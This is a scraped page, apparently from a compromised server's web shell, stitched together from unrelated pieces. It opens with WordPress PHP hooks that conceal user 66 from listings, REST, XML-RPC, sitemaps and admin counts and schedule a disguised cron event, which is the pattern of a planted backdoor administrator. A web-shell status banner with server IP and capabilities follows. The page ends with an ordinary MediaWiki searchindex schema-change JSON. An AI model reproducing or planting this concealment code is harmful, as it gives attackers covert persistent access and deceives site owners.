add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/sql/abstractSchemaChanges/ |
Upload File : |
{
"comment": "Searchindex with PK (T249976), InnoDB (T107875), larger title (T231827)",
"before": {
"columns": [
{
"name": "si_page",
"type": "integer",
"comment": "Key to page_id",
"options": {
"notnull": true,
"unsigned": true
}
},
{
"name": "si_title",
"type": "string",
"comment": "Munged version of title",
"options": {
"default": "",
"length": 255,
"notnull": true
}
},
{
"name": "si_text",
"type": "text",
"comment": "Munged version of body text",
"options": {
"length": 16777215,
"notnull": true
}
}
],
"comment": "search backend, this is actively used in MySQL but created and not used in Postgres while there are plans to use it in the future (T220450). This table must be MyISAM in MySQL; InnoDB does not support the needed fulltext index.",
"indexes": [
{
"name": "si_page",
"columns": [
"si_page"
],
"unique": true
},
{
"name": "si_title",
"columns": [
"si_title"
],
"flags": [
"fulltext"
],
"unique": false
},
{
"name": "si_text",
"columns": [
"si_text"
],
"flags": [
"fulltext"
],
"unique": false
}
],
"name": "searchindex",
"pk": [],
"table_options": [
"ENGINE=MyISAM",
"DEFAULT CHARSET=utf8"
]
},
"after": {
"columns": [
{
"name": "si_page",
"type": "integer",
"comment": "Key to page_id",
"options": {
"notnull": true,
"unsigned": true
}
},
{
"name": "si_title",
"type": "string",
"comment": "Munged version of title",
"options": {
"length": 16777215,
"notnull": true
}
},
{
"name": "si_text",
"type": "text",
"comment": "Munged version of body text",
"options": {
"length": 16777215,
"notnull": true
}
}
],
"comment": "search backend, this is actively used in MySQL but created and not used in Postgres while there are plans to use it in the future (T220450). This table must be MyISAM in MySQL; InnoDB does not support the needed fulltext index.",
"indexes": [
{
"name": "si_title",
"columns": [
"si_title"
],
"flags": [
"fulltext"
],
"unique": false
},
{
"name": "si_text",
"columns": [
"si_text"
],
"flags": [
"fulltext"
],
"unique": false
}
],
"name": "searchindex",
"pk": [ "si_page" ],
"table_options": [
"ENGINE=MyISAM",
"DEFAULT CHARSET=utf8mb4"
]
}
}